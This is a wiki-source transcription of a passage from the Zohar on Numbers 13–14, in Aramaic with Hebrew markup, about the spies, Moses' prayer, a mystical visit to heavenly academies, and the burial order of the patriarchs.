{{צ|אפס כי עז העם}} - אורחיה דעלמא דאינון גברין מגיחי קרבא יתבין לבד לאסתמרא ארחין והכא אפילו אינון בני מתא תקיפין גבורין. והערים בצורות דאפילו כל מלכין דעלמא יתכנשו עלייהו לא יעבדון בהו פגימותא. א&quot;ר יוסי כל מה דאמרי בלישנא בישא אמרו וקשיא מכלהו דכתיב {{צ|עמלק יושב בארץ הנגב}}. לבר נש דנשכיה חויה כד בעאן לאגזמא ליה אמרי הא חויא הכא. ר' אבא אמר ודאי דא קשיא מכל מה דאמרי כלומר ההוא דאגח קרבא בכלא הא הכא זמין. ובאן אתר בארץ הנגב דהא הוא אתר לאעלאה ביה. מיד ותשא כל העדה ויתנו את קולם קביעו בכיה לדורות לעלמין בההוא ליליא, א&quot;ר יוסי עיטא נסיבו על כלא לאפקא שום ביש. מאי על כלא על ארעא ועל קב&quot;ה. א&quot;ר יצחק על ארעא תינח. על קב&quot;ה מנין. אמר ליה משמע דכתיב {{צ|אפס כי עז העם}} מאן יכיל בהו כי עז העם דייקא. וכתיב {{צ|עמלק יושב בארץ הנגב}} - כדין גרמו כל האי כמה דאתמר ובעא קב&quot;ה לשיצאה לון מן עלמא הדא הוא דכתיב {{צ|ויאמר להשמידם לולי משה בחירו עמד בפרץ לפניו וגו'}} {{ממ|תהלים|קו|כג}}:


'''{{צ|ועתה יגדל נא כח אדני}} {{ממ|במדבר|יד|יז}}'''. {{ש}}
ר' אחא ור' יוסי אמרי זכאי אינון ישראל מעמין עכו&quot;ם דעלמא. דקב&quot;ה אתרעי בהו ואתכני בהו ואתפאר בהו דהא עלמא לא אבדי אלא בגיניהון דישראל דישתדלון באורייתא בגין דחד בחד אתקשרן וישראל לתתא בהאי עלמא אינון קיומא דיליה וקיומא דכל שאר עמין אימתיב זמן דעבדי רעותא דמאריהון. תא חזי כד ברא קב&quot;ה בר נש בעלמא אתקין ליה כגוונא עלאה (יקירא) ויהב ליה חיליה ותוקפיה באמצעיתא דגופא דתמן שריא לבא דהוא תוקפא (ומזונא) דכל גופא ומתמן אתזן כל גופא (וכל אינון שייפי דגופא מתמן אתזנו). והא לבא אחיד &lt;קטע סוף=דף קסא א/&gt;

 
{{ממ זהר משולב|ג|קסא|ב}}&lt;קטע התחלה=דף קסא ב/&gt;ואתקף באתר עלאה דלעילא דאיהו מוחא דרישא דשארי לעילא (ואחיד ביה) ודא אתקשר בדא ובגוונא דדא אתקין קב&quot;ה עלמא ועבד (ליה) חד גופא ואתקין שייפי דגופא סחרניה דלבא ולבא שארי באמצעיתא דכל גופא וכל אינון שייפין אתזנו מההוא לבא דהוא תוקפא דכלא וכלא ביה תליין וההוא לבא אתקשר ואתאחד במוחא עלאה דשריא לעילא. 

תא חזי כד ברא קב&quot;ה עלמא אשרא (ס&quot;א אסדר) לימא דאוקינוס דאסחר כל ישובא דעלמא וישובא דכל שבעין אומין כלא אסחר לירושלם. וירושלם באמצעיתא דכל ישובא שריא והיא אסחרא להר הבית והר הבית אסחר לעזרות דישראל ואינון עזרות סחרן ללשכת הגזית דתמן דנהדרי גדולה יתבין ותנינן לית ישיבה בעזרה אלא למלכי בית דוד בלחודייהו ולשכת הגזית אסחר למזבח והמזבח אסחר לבית האולם והאולם להיכל והיכל לבית קדש הקדשים דתמן שכינה שריא וכפרת וכרובים וארון והכא הוא לבא דכל ארעא ועלמא ומהכא אתזנו כל אינון אתרי דישובא דאינון שייפי דגופא. ולבא דא אתזן ממוחא דרישא ואתאחיד דא בדא הדא הוא דכתיב {{צ|מכון לשבתך פעלת יהוה}} {{ממ|שמות|טו|יז}}. כגוונא דא לעילא לעילא ואיהו ברזא דמלכא עלאה ברזא יקירא סתימאה עלאה לקביל דא דאית ימא לעילא מן ימא וימא מן ימא. 

תא חזי נהר דינור אסחר לכמד משריין מקבליה שבעין סטרין גליפין משבעה דליקין ואינון סחרן לאינון שמשי דלגו מנייהו ואינון סחרין לארבע רתיכין ואינון סחרן לההיא קרתא קדישא דרביעא עלייהו. ותאנא תמן עזרות לגו מעזרות ולית ישיבה בעזרה דתמן אלא למלכיהון דבית דוד בלחודייהו ותמן משתכחי ויתבי וסנהדרי גדולה משתכחי תמן בלשכת הגזית וההוא בי דינא עלייהו דמשמש לאתר דמשמש ודינא אתיהיב מתמן לקדישין עליונין עד דמטא לאתר דאקרי קדש הקדשים דביה כלא ותמן הוא לבא שרייא ודא אתזן מן מוחא דלעילא ואתאחיד דא בדא. כגוונא דא לעילא לעילא ואיהו ברזא דמלכא עלאה ברזא יקירא סתימאה עד דאשתכח דכלא אתזן ממוחא עלאה סתימאה דכלא וכד יסתכלון מלי כלא אתקשר דא בדא ודא בדא. 

תא חזי כד אנהיר עתיקא סתימא במוחא ומוחא אנהיר ללבא בדרך נעם יהוה והא אוקימנא ודא הוא כח יי' ההוא חילא דאתי מעתיקא קדישא סתימא דכל סתימין יגדל נא דיתרבי ויסגי לעילא לעילא ויתנגיד ויתמשך לתתא. כאשר דברת כמה דאוקמוה לאמר למילף מהכא כל דרין בתראין לעלם ולעלמי עלמין לאמר למימר לדא בשעתא דעקתא. למימר דא בשעתא דרווחא ומאי הוא יהוה ארך אפים וגו' והא אוקימנא מלי. אמר ד' יצחק אמת אמאי סליק מכאן אמר רבי חייא אינון גרמו ליה דאסתליק מכאן דהא בשקרו דברו גרמייהו בההוא מדה דבר נש מודד בה מודדין ליה וכן שאר אחרי אסתלקו דלא יכיל משה למימרינהו בגין דאינון גרמו. סלחתי כדבריך כדבריך ממש והא אתערו חברייא. והא אתמר:

אמר המגיה כך מצאתי בהעתקות אשר לפני ומתוך הלשון נראה שחסר התחלת המאמר וגם במקומות אחרים ממנו חסר ועם כל זה לא רציתי להשמיטו מן הספר להגדיל תורה ולהאדיר:

דא עם דא מה דלא הוו יכלין למללא מקדמת דנא נפקו מההיא פתחא ויתבו בגנתא תחות אילנין אמרו דא לדא כיון דאנן הכא וחמינן כל דא אי נמות הכא ודאי ניעול לעלמא דאתי. יתבו שינתא נפלת עלייהו ודמכו. אדהכי הא ההוא ממנא אתא &lt;קטע סוף=דף קסא ב/&gt;{{ממ זהר משולב|ג|קסב|א}}&lt;קטע התחלה=דף קסב א/&gt;ואתער לון אמר לון קומו פוקו לגו פרדס דאברא. נפקו חמו לאלין מארי מקרא דהוו אמרי בההוא קרא:

במדבר הזה יתמו. הא באתר אחרא לא. ושם ימותו הא באתר אחרא לא ודא בגופין אבל בנשמתין לא כגוונא דבני גנתא. 
אמר לון ההוא ממנא פוקו. נפקו בהדיה אמר לון שמעתון מדי לגו ההוא דרגא. 
אמרו שמענא דהא חד קלא הוה אמר מאן דפסק יתפסק מאן דקצר יתקצר מאן דקצר יתארך אמר לון ידעתון מאי האי אמרו לא. 
אמר לון חמיתון ההוא נשרא רברבא וההוא ינוקא דקא מלקט עשבין ר' אילעאי דנציבין הוה הוא ובריה ומטא הכא וחמא הוא וינוקא בריה מערתא דא כיון דעאלו לגו חשוך לא יכילו למסבל ומיתו וההוא ינוקא בריה קיימא בכל יומא קמיה דבצלאל בשעתא דנחית ממתיבתא עלאה ואמר קמיה תלת מלין. עד לא יפתח בצלאל ברזין סתימין דחכמתא דכל מלוי רזין סתימין אינון ד{{צ|עין לא ראתה אלהים זולתך}} האי (מאן) דאמר מאן דפסק יתפסק. מאן דפסק מלין דאורייתא על מלין בטלין יתפסקון חיוהי מהאי עלמא ודיניה קיימא בההוא עלמא מאן דקצר יתקצר מאן דקצר אמן ולא מאריך ביה גו נייחא יתקצר מחיין דהאי עלמא. מאן דקצר יתארך מאן דאמר אחד אצטריך לחטפא אלף ולקצרא קריאה דילה ולא יעכב בהאי את כלל. ומאן דעביד דא יתארכון חייו. 

אמרו ליה תו אמר תרין אינון וחדא אשתתף בהו ואינון תלתא. וכד הוו תלתא אינון חד. 
אמר לון אלין תרין שמהן דשמע ישראל דאינון יהוה יהוה. אלהינו אשתתף בהו ואיהו חותמא דגושפנקא. אמת. וכדומתחברן כחדא אינון חד ביחודא חדא. תו אמר תרין אינון וחד אתהדר. כד שליט טאס על גדפי רוחא ושאט במאתן אלף ואתטמר. אמר לון אלין תרין כרובים דהוה רכיב בהו קב&quot;ה. ומן יומא דאגניז יוסף מאחוי אגניז איהו (ס&quot;א חד) ואשתאר חד לגבי בנימין הדא הוא דכתיב {{צ|וירכב על כרוב ויעף וידא על כנפי רוח}} {{ממ|תהלים|יח|יא}}  {{ממ|ש&quot;א|כב|יא}}. ואגניז במאתן אלף עלמין ואתטמר ההוא דרכיב עליה דאינון מאתן אלף גניזין אינון דיליה בריך הוא פוקו מהכא זכאין אתון. נפקו יהב לון ההוא ממנא וורדא (ס&quot;א אחרא) חדא ונפקו. כד נפקו אסתים פום מערתא ולא אתחזי כלל. חמו ההוא נשרא דהוה נחית מההוא אילנא ועאל גו מערתא אחרא. ארחו אינון בההוא וורדא ועאלו תמן אשכחו ההוא נשרא אפום מערתא אמר לון עולו זכאי קשוט חברין דהא לא חמינא חדוה דחברותא מן יומא דאנא הכא אלא בכו. עאלו מאטו לפרדס אחרא וההוא נשרא בהדייהו כד מטו לגבי אינון מאריהון דמשנה אתהדר ההוא נשרא בדיוקנא דאדם בלבוש יקר מנהרא כוותייהו ויתיב עמהון כחדא אמר לאינון דיתבי הבו יקר למארי מתניתא דאתו הכא דהא מאריהון אחמי לון פליאן רברבן הכא. אמר חד מנייהו אית בכו סימנא. אמרו הין. אפיקו תרין ורדין וארחו בהו אמרו תיבו מארי מתיבתא תיבו זכאי קשוט אחידו בהו ויתבו. בההיא שעתא אולפו תמן תלתין הלכות דלא הוו ידעי מקדמת דנא ורזין אחרנין דאורייתא. אהדרו לגבי אינון מארי מקרא אשכחו דהוו אמרי {{צ|אני אמרתי אלהים אתם ובני עליון כלכם}}. {{צ|אני אמרתי}} בשעתא דאקדימתון עשיה לשמיעה דהא {{צ|אלהים אתם וגו'}} כיון דאמשכתון בתר יצר הרע {{צ|אכן כאדם תמותון וגו'}} מה מיתתו של אדם אחית ליה לעפרא בגין דיתמחי ההוא יצר הרע די בגויה וההוא יצר הרע איהו דמית הואתעכל בגויה. &lt;קטע סוף=דף קסב א/&gt;

 
{{ממ זהר משולב|ג|קסב|ב}}&lt;קטע התחלה=דף קסב ב/&gt;אמר ההוא סבא דעלייהו אוף הכא כתיב {{צ|ופגריכם אתם יפלו במדבר הזה}} {{ממ|במדבר|יד|לב}}. מאי {{צ|פגריכם}}? דא יצר הרע כליל דכר ונוקבא חסרונין דאית בכו דיצר הרע נחית תדיר לחסרונא ולא סליק. בקדש מעלין ולא מורידין במסאבו מורידין תדיר ולא מעלין. ועל דא אקרון פגריכם חסרונין דלכון כמה דאת אמר {{צ|אשר פִּגרו מעבור את הנחל וגו'}} {{ממ|ש&quot;א|ל|י}} סופא דקרא אוכח דכתיב {{צ|יפלו}} ולא &quot;תפלו&quot;. ועל דא {{צ|במדבר הזה יתמו}} אינון פגרים {{צ|ושם ימותו}} בגין דרעותא דקב&quot;ה לשיצאה להני פגרים מעלמא לעלם. 

אמר להו רבי אילאי זכאי קשוט עולו ותחמו דהא רשו אתמסר לכו למיעל עד ההוא אתר דפרוכתא פריסא זכאה חולקכון קמו ועאלו גו דוכתא חדא והוו תמן מאריהון דאגדה ואנפיהון מנהרן כנהירו דשמשא אמרו מאן אלין אמר להון אלין מאריוהן דאגדה חמאן בכל יומא נהירו דאורייתא כדקא יאות. קיימו ושמעו כמה מלין חדתין באורייתא לא אתיהיב לון רשו למיעל לגוייהו 
אמר ליה ר' אילאי עולו לדוכתא אחדא ותחמו. 
עאלו לגו גנתא אחרא וחמו אוף הכי כראן קברין ומיד מתין ומתהדירן חיין בגופין מנהרן קדישין 
אמרי ליה מאי האי 
א&quot;ל דא עבדי בכל יומא ומיד דשכבי מתעכלא ההוא זוהם בישא דקבילו בקדמיתא וקיימין מיד בגופין חדתין מנהרין באינון גופין קדישין דקיימי על טורא דסיני כגוונא דאתון חמאן קיימו כלהו על טורא דסיני בגופין בלא לכלוכא כלל כיון דאמשיכו עלייהו יצה&quot;ר אתהדרו בגופין אחרנין דגופין קדמאין גופין נוכראין הדא הוא דכתיב {{צ|ויתנצלו בני ישראל את עדים מהר חורב}} {{ממ|שמות|לג|ו}}. קלא אתער זילו אתכנשו הא אהליאב קאים על קיומיה וכל אינון קתדראין קמיה לשעתא פרחו כלהו ולא חמו מדי אשתארו בלחודייהו תחות אילנין דגנתא חמו פתחא אחרא עאלו תמן חמו היכלא חדא עאלו ויתיבו תמן. תרין עולימין הוו תמן. זקפו עיינין. וחמו חד משכנא מדקמא בכל זיני ציורין וגוונין דעלמא ועליה פריס פריסא דנהורא מנצצא דלא יכלין עיינין לאסתכלא (וכפום תרין מלין חמו גו ההוא משכנא עד אתר פרוכתא פריסא דלא חמו) מתמן ולהלאה לא. חמו כלום. ארכינו אודנין ושמעו חד קלא דהוה אמר בצלאל רביעאה איהו לנהורין עלאין. יוסף רביעאה איהו גו נהורין דאדם קדמאה סליקו דלעילא חביבא דכלא. עליה כתיב {{צ|ונסכו רביעית ההין בקדש וגו'}} {{ממ|במדבר|כח|ז}} מאן דיסתכל וחמי יסמון עיניה. מאן דלא יסתכל חמי ואתפתח. אילנא דתמני סרי כד כפיף יזקוף ויתקיים. אי לא כפיף חויא בישא אכיל ליה. מאן דעאל ותרין כרובין לגו רעותיה אתעביד. מאן דמעיין רחיק מרעותיה. קרבנא דרביא שלים לאתקבלא. פסק ההוא קלא אמרו אינון תרין עולימין סימנא אית בגוייכו אמרו הין אפיקו אינון תרין ורדין ארחו בהו אמרו תיבו עד דתשמעון תרין מלין ברזין עתיקין מגו מארי מתיבתא ויהון תדיר ברזא בגוייכו אמרו הן. אמר רבי שמעון כל הני מלין וכל מה דחמו כתבו וכד מטו הכא הוה כתיב {{צ|אשמרה דרכי מחטוא בלשוני}} {{ממ|תהלים|לט|ב}}. ואנא שאילנא לאבי אבא כמה הוו אינון תרין מלין ואמר לי חייך ברי אינון תרין מלין באנו עלמין וחריבו עלמין מאן דאשתמש בהו. כיון דשמעו אלין תרין מילין אמרו אינון ינוקי פוקו פוקו לית לכו רשותא יתיר למשמע. אפיק חד מנייהו תפוח אחד ויהב לון ואמר ארחו בדא ארחו ביה ונפקו ומכל דחמו לא אנשו כלום. נפקו הא ממנא אחרא אתא אמר לון חברייא ר' אילאי שדרני לכו תוריכו ליה הכא אפום מערתא והוא ייתי ויודע לכו מלין עלאין דלא ידעתון. דאיהו תבע מגו &lt;קטע סוף=דף קסב ב/&gt;

 
{{ממ זהר משולב|ג|קסג|א}}&lt;קטע התחלה=דף קסג א/&gt;מתיבתא דיהא ליה רשו לגלאה לכו מלין. נפקו בהדיה ואוריכו אפום מערתא והוו מהדרן מלי דא לדא מכל מה דחמו ואולפו תמן. אדהכא הא ר' אילאי אתא נהיר כשמשא א&quot;ל אורייתא חדתא שמעתא. אמר לון ודאי ורשו יהבו לי למימר לכו מלי. אתחברא כחדא אפום מערתא ויתבו, אמר לון זכאין אתון דאחמי לכון מאריכון כגוונא דעלמא דאתי והא לית לכו דחילו ואמתנו אמרו ודאי הא אתנשי מנן ארחא דבני נשא ותווהא איהו על כל מה דחמינן בהאי טורא אמר לון חמיתון אלין טוריא כלהו ראשי מתיבתי לעמא דא דבמדברא. וזכו השתא מה דלא זכו כד הוו בחיין. ואלין רישי מתיבתי כלהו בריש ירחי ושבתי ומעדייא מתכנשי לגבי טורא דאהרן כהנא ומתערי לגביה ועאלין גו מתיבתא דיליה ומתחדשן תמן בדכיו דטלא קדישא דנחית על רישיה ומשח רבו דנגיד עליה ועמיה מתחדשן כלהו בחדושין דרחימין דמלכא קדישא עד דאקרי הכא מתיבתא דרחימותא ואיהו נטיל בכל מתיבתא בטמירו דקיק מתעפפן כנשרין גו מתיבתא דנהורא ואיהי מתיבתא דמשה וכלהו קיימי לבר ולא עאלין לגו בר אהרן בלחודוי וכפום שעתא אקרון בשמא. ולית מאן דחמי ליה למשה דהא ההוא מסוה ראנפוי פריס קמיה ושבע ענני יקר סחרניה. אהרן קאים גו פרגודא דלתתא מן משה ופרגודא פסיק ולא פסיק בגוייהו וכל רישי מתיבתי לבר מפרוכתא דפרגודא דא. וכל שאר לבד מאינון עננין וכפום חדושי דנהירו דאורייתא דאתנהרא הכי מנהרן אינון עננין ואתקלישו בדקיקו דנהורא עד דאתחזי ההוא מסוה ומגו ההוא מסוה חמאן נהורא דנהיר יתיר מכל נהירין דעלמא ואינון אנפי משה. אנפוי לא אתחזון כלל ולית מאן רחמי לון בר ההוא נהירו דנפיק מגו ההוא מסוה בתר כל אינון עננין. משה אמר מלה סתם לאהרן ואהרן פריש לרברבי מתיבתי. במה פריש בכל אינון מבועין אסתימו מניה כד מטא זמניה דיהושע. והשתא איהו מהדר לון. בכמה פליאן ומקורין ומבועין ונחלין דנבעין מכל מלה ומלה. כל נשין זכיין דהאי דרא אתאן למרים אוף הכא בהני זמנין וכדין סלקין כלהו כתמרות עשן גו מדברא דא. וההוא יומא אקרי יומא דהלולא. נשין בלילי שבתות ובללי יומין טבין כלהו אתאן לגבי מרים וידעין אשתדלותא בידיעו דמארי עלמא. זכאה דרא דא מכל דרין דעלמא. נפקי ממתיבתא דמשה ופרחי לגבי מתיבתא דרקיעא ואינון דאתחזון פרחי לגבי מתיבתא עלאה על ההוא דרא כתיב {{צ|אשרי העם שככה לו אשרי העם שיהוה אלהיו}} {{ממ|תהלים|קמד|טו}}:


פתח ר' אילאי ואמר {{צ|תמים תהיה עם יהוה אלהיך}} {{ממ|דברים|יח|יג}}. מה בין '''תם''' ל'''תמים'''? באברהם כתיב {{צ|התהלך לפני והיה תמים}} {{ממ|בראשית|יז|א}}. יעקב דאשתלים יתיר כתיב ביה {{צ|ויעקב איש תם}} {{ממ|בראשית|כה|כז}}. אמאי אקרי {{צ|איש תם}}? בגין דלא אשתאר ביה פסולת כלל דהא פריעה הוה ביה. כמה אתפרע (ס&quot;א פריעה הוה ביה דאתפרע) ואתדכי מההוא פסולת. בגין דההוא אתר דאתקיף לפסולת דלגו אתר דפריעה שארי איהו שור דיוקנא דשמאלא דכרסיא דיליה. וההוא שור אקרי שור תם דהא רתיכא דכרסיא רשימא דברית אית ביה ועל דא האי שור אקרי תם ויעקב אחיד ביה בגוויה ובהאי שור עביד פריעה ואעבר זוהמא דפסולת כלא. במתניתא דבצלאל כתיב {{צ|ויזכור אלהים את רחל}} {{ממ|בראשית|ל|כב}}. בשרה כתיב 'פקידה' וברחל כתיב 'זכירה'. אמאי? בגין דזכור אתרשים ביעקב דאיהו ברית שלים כד אתעביד (ס&quot;א אתייליד) יוסף. ובמה כד נטל שור בהדיה דלא יתקיף לסטרא אחרא. ובגין כך אתקרי יוסף {{צ|בכור שור}} - בכור דההוא שור &lt;קטע סוף=דף קסג א/&gt;

 
{{ממ זהר משולב|ג|קסג|ב}}&lt;קטע התחלה=דף קסג ב/&gt;דנטל יעקב בכור שורו ודחי לההוא שור. שור תם ויעקב איש תם רבון ושליט מאריה דביתא דההוא שור תם שארי בגוויה בגין דאית שור מועד בסטר ערלה פריעה. וכמה גרדיני נימוסין נפקין מניה עד דרגא בתרייתא דאקרי שאי&quot;ה ההוא דאפיל ביתין דעלמא דלא דיירין בהו בני נשא. וכלהו נפקי מההוא שור מועד. ודא בחבורא דחמור בישא ובגין כך לא תחרוש בשור ובחמור יחדיו. בגין דלא לאתערא להו ובההוא מתיבתא דבצלאל וכן בתרין מתיבתי {{צ|ויעקב איש תם}} - בעלה דההוא תם. ומאן איהו א' רזא דו&quot;ו וכד הוו כלל דכר ונוקבא כחדא שלימו דכלא. אברהם לא אתפקד על פריעה וכד עאל עאל להאי תם ולגו דרגין דיליה דאקרון כחדא ים והיינו תמים לבתר אסתלק אברהם ועאל לגו ואתקשר עם ימינא עלאה. תמים תהיה עם יהוה אלהיך ודאי כמה דאיהו תמים כללא חדא אוף אנת תהא עמיה תמים עמיה ודאי. במה אתעביד בר נש תמים דיהא ת&quot;ם ים. תם כמה דאתמר. י&quot;ם כל אינון דרגין קדישין דיליה אקרון י&quot;ם ולא אתפרשן מניה לעלמין. אוף אנת כגוונא דא לאעדאה מנך דרגין נוכראין ולאתקשרא בתמים למיהוי בך דרגין קדישין רזא דים ודרגא קדישא. ת&quot;ם לקבלא א' רזא דיעקב. בר נש אצטריך למהוי בכל יומא ת&quot;ם י&quot;ם כגוונא דא ממש. השתא פריש מאן דפריש במתיבתא דסיהרא קדישא שפירא איהו בחוורו וכל גוונין מנצצן בה ומרקמן ואיהו כההוא שפירו וחוורו דשמשא מש ובההוא ימא דילה גו שבעין שנין נפקא נונא חדא ואפיק מניה גוון תכלת ואיהי נטלא גוון דא ותקינת ליה ואתחפייא לבר בהאי גוון. לאו דהאי גוון לבושא דילה דהא שש וארגמן לבושה אבל חופאה דלבר האי גוון הוא. כגוונא דא הוה משכנא דכוליה בשפירו מרקמא לגו ולבתר ופרשו בגד כליל תכלת. מ&quot;ט בגין דתחות ים דא אית מצולות י&quot;ם כלל דכר ונוקבא ואית לון עינא בישא לאסתכלא וכד מסתכלין זמין לעינייהו גוון תכלא ולא יכלא עינייהו לשלטאה ואיהי אתתקנת לגו בכל גוונין מרקמן כדקא יאות מתחחמן לד' סטרין דעלמא. 

כגוונא דא בר נש דלביש ציצית אתעביד בכל יומא תמים. ת&quot;ם בד' כנפים מתקנן כדקא יאות י&quot;ם בההוא תכלת דנונא דשבעין דרגין דימא סטרא בישא כד אסתכל בהאי בר נש לא יכיל לאבאשא ליה בעינא בישא. וכדין איהו תם י&quot;ם עם יהוה אלהיו ממש בתקונא חדא איהי לעילא ואיהו לתתא. לבתר אסתלקת איהי גו' דרגין עלאין. אוף הכי בר נש אסתלק איהו לבתר בתפלין גו דרגין עלאין. ועל דא {{צ|תמים תהיה עם יהוה אלהיך}}. עמיה ודאי. ודאי בשעתא חדא ברגעא חדא איהי אתקנת לעילא ובר נש אתקן לתתא. 

א&quot;ר אילאי כל אלין דהכא כגוונא דא מתקנן למהוי כל חד תמים עם יהוה. ועל רזא דא במדבר הזה יתמו אי תימרון דכד אתמר לביש אתמר הכי הוא ודאי דהוה לון למהוי כל חד תמים עם יהוה בארעא קדישא אתר דיהוה שארי תמן למהוי אפין באפין כחדא עמיה והשתא כל חד הוי תמים במדברא דא לבר אתר רחיק מתמן דלא יסתכל אנפין באנפין בהדיה למהוי עם יהוה כדקא יאות. ושם ימותו כמה דחמיתון דעבדין בכל יומא. זכאה חולקכון חברייא קדישין דזכיתון לכל האי. הני תרי מערתי אחרנין דילכו דלא תשכחו כל דא תמן דאינון גו מתיבתא דמשה. יתבי מרחיק ועל דא כתיב במשה ענו מאד מכל &lt;קטע סוף=דף קסג ב/&gt;

 
{{ממ זהר משולב|ג|קסד|א}}&lt;קטע התחלה=דף קסד א/&gt;האדם. ונביאה עלאה. קביל לון למתיבתא דיליה מיומא דשארי למחמי כל דא עד ההיא שעתא שבעה יומין. והא לא הוו מסתכלן בהאי עלמא כלום. אמר לון רבי אילאי זכאין קדישין אימא לכו מלין דשמעתון ומלה קדמאה כד תנדעון מדידו דמשחתא בשמא גליפא מפרש תנדעון (ואע&quot;ג) דבצלאל רביעאה איהו דנהורין עלאין דכתיב {{צ|ואמלא אותו רוח אלהים בחכמה ובתבונה ובדעת}} {{ממ|שמות|לא|ג}}. מאן דלא אסתכל חמי ואתפתח. מאן דלא אסתכל באינון תלת מלין טמירין מה לעילא מה לתא וכו' זמין איהו לאתפתחא באורייתא ולפקחא עיינין בה אילנא דתמני סרי. שדרתו דבר נש כד כפיף קמי מאריה יזקוף ויתקיים לתחיית מתייא. אי לא כפיף במודים אתעביד חויא ולית ליה תקומה לההוא זמנא. מאן דעאל בין תרין כרובים לגו. מאן דעאל שיעור תרין פתחין לגו בי כנשתא אתדבק במאריה ורעותיה אתעביד. מאן דמעיין בצלותיה ואסתכל בה רחיק מרעותיה דשאיל. קרבנא דרביא כד קרב בר נש בריה לבי ספרא או למילה דא קרבנא שלים לאתקבלא. מכאן ולהלאה רחימין. זילו. אלעזר ברי שפיר קאמרת כפום מה דאוליפת. אבל ח&quot;ו דאע&quot;ג דרחל הות עקרא בההוא זימנא יעקב חכים הוה. ואלמלא לא ידע יעקב דלאה אנחתיה לא קביר לה במערתא לאתחברא בהדיה בחבורא חדא ויהא קביר לה לבר מארעא. אבל ללאה אעיל לה גו ארעא ולרחל שוי לבר. מית יעקב אתקבר בגווה בחבורא חדא כמה דעבדו כל שאר אבהן אוף הכי אדם. מתה חוה בקדמיתא אתקברת תמן. ותמן ידע אדם דהאי דוכתא אתחזי ליה. מית אדם אתקבר בגווה בחבורא חדא. מתה שרה אתקברת תמן וחוה חמאת וחדאת לקבלה וקמת וקבלה לה. שיעורא דחוה לגבי שרה שיעורא דתרין אמין ולא יתיר. מת אברהם אתקבר לגבי שרה בחבורא חדא. מתה רבקה אתקברת תמן ושרה חמאת וקמת וקבלה לה. מת יצחק אתקבר בהדה בחבורא חדא. מתה לאה אתקברת תמן ורבקה חמאת וקמת וקבלה לה. מת יעקב אתחבר בהדה בחבורא חדא. וכלהו דכר ונוקבא כחדא בחבורא חדא. סדורא דלהון היך שכני נשין לגבי נשין ודכורין לגבי דכורין אדם ברישא חוה סמיך ליה. שרה לגבי חוה. אברהם סמיך לשרה. יצחק סמיך לאברהם. רבקה סמיך ליצחק. לאה סמיך לרבקה. יעקב סמיך ללאה. אשתכח אדם בסטרא דא יעקב בסטרא דא. דא רישא ודא סיפא. בספרא דשלמה מלכא איהו כדקא יאות והכי הוא אדם וחוה בקדמיתא. ושרה ואברהם סמיך לון. יצחק ורבקה לזויא אחרא בארח מישר בשורה חדא. יעקב ולאה באמצעיתא ואינון נשין לגבי נשין. ודכורין לגבי דכורין. ואדם וחוה שרה ואברהם יעקב ולאה. רבקה ויצחק. אדם בסטרא דא ויצחק בסטרא דא ויעקב באמצעיתא. יצחק לגבי אבוה לאו ארח עלמא. ועכ&quot;ד יעקב אצטריך באמצעיתא. ובכל אינון זוגין כמה דאתקברו הכי יקומון והכי ישתכחון. לאה תחדי בחדי משיח בריה דדוד דנפיק מנה לגו. רחל תחדי בהדי משיח בריה דיוסף דנפיק מנה לבר מירושלם וכלא לדוכתייהו אלין הכא ואלין הכא דאינון (ס&quot;א מגדלין) מרגלאן דאבן טבא כלהו. בין כלהו מגדלין אית חד מגדל דאבן טבא באמצעיתא. ודא סליק לרום רקיעא ולא אתחזי השתא עד ההוא זמנא דיתגלי. רב מתיבתא חמא ליה והוה רשים ביה לעילא האי קרא מגדל עז שם יהוה בו ירוץ צדיק ונשגב. ופריש רב מתיבתא קרא דא מגדל עז דא כנסת ישראל &lt;קטע סוף=דף קסד א/&gt;

 
{{ממ זהר משולב|ג|קסד|ב}}&lt;קטע התחלה=דף קסד ב/&gt;בו ירוץ צדיק ביה רעותיה דצדיק תדיר ועל דא ונשגב ההוא מגדל דלא ינפול לעלמין כמה דהוה. ורבי כרוספדאי חמיד לבא פריש האי קרא עד לא אסתלק ופריש שפיר. מגדל עז דא תיבה וס&quot;ת דאיהו עז לשואה ביה ולאפקא ליה מגו היכל דיוקנא דהיכל פנימאה דמניה נפקא תורה וההוא מגדל שם יהוה איהו ודיוקנא דיליה ואצטריך בשית דרגין. בו ירוץ צדיק במאן במגדל או בס&quot;ת. אלא קרא דריש בהאי ובהאי. כד דרש במגדל אצטריך צדיק דא דליהוי חזן הכנסת זכאה דקשוט ודיוקנא דצדיק עלאה. כד דריש לס&quot;ת מאן דסליק לס&quot;ת למקרי אורייתא אצטריך צדיק וצדיק אקרי מאן אקרי צדיק מכלהו. שתיתאה דסליק מאינון שבעה. א&quot;ר שמעון ודאי דאיהו לא סליק כל יומוי אלא שתיתאה לאינון דסלקין. בו ירוץ צדיק בס&quot;ת ירוץ דברי צדיק דא. ונשגב ממאן מדחילו דמלאך המות דהא אוריך יומין. ונשגב דלא יתנזק לעלמין. בההוא מגדל דסלקא בין אינון מגדלין קיימא נהירו חד בדיוקנא דס&quot;ת כד אתי ההוא ציפרא נטלא ההו אמגדל מאתריה וקאים גו אמצעיתא דעזרה גו גדפי דכרובים. הוה (ס&quot;א ומה דהוה) רומיה לרום שמיא מאיך ועאל תחות אינון כרובים ושורוי בין רישי כרובים. תלת מאה פתחין תמן בפתחא דאמצעיתא קיימא נהירו דא דיוקנא דס&quot;ת ביה זמין מלך ישראל למקרי בפרשת הקהל ודא ליהוי מלכא משיחא ולא אחרא. ובההוא ס&quot;ת דההוא נהירו אי חסידא קדישא זכאה איהו דמפומיה ישמעו קל נעימו דמלוי מאינון מלין סתימין דפריש באורייתא. בכל ריש ירחי ושבתי ומועדייא וזמנייא כד בעאן כל בני מתיבתי לסלקא לעילא לגו מתיבתא דרקיעא כלהו מתכנפי לגבי מלכא משיהא ואיהו פריש מלין ומגו מתיקו דמלוי בתיאובתא סלקין כלהו עשר מלין. גניזין לך מאינון מלין דאיהו פריש ליומא דשאלתן דילך כד קיימא ההוא מגדל באמצעו דעזרה. ופתחא דא פתח פתחין ואינון כרובין פומייהו ופרשי גדפייהו ונהיר נהירו עלאה על ההוא פתחא וההוא ס&quot;ת פתיח ואינון כרובים פתחי ואמרי מה רב טובך אשר צפנת ליראיך וגו'. סגירו פתחין וס&quot;ת אתגליל מאן חמא נהירו דנהרא דההוא ס&quot;ת כוליה נהורא דנהיר אתוון דיליה שלהובי דאשא מד' גווני דאינון דעלמא עלאה כלהו בלטי ומנצצי לית מאן דיכיל למיקם בהו בר משיח. סגיר פתחא דא כרובים משתככי. וההוא מגדל פרח וקיימא באתריה בין שאר מגדלין. בההוא פתחא דאמצעיתא אית עטרה דפז עלאה ויקירא גניזא דלא אתחזי השתא גליפא ומחקקא בכל 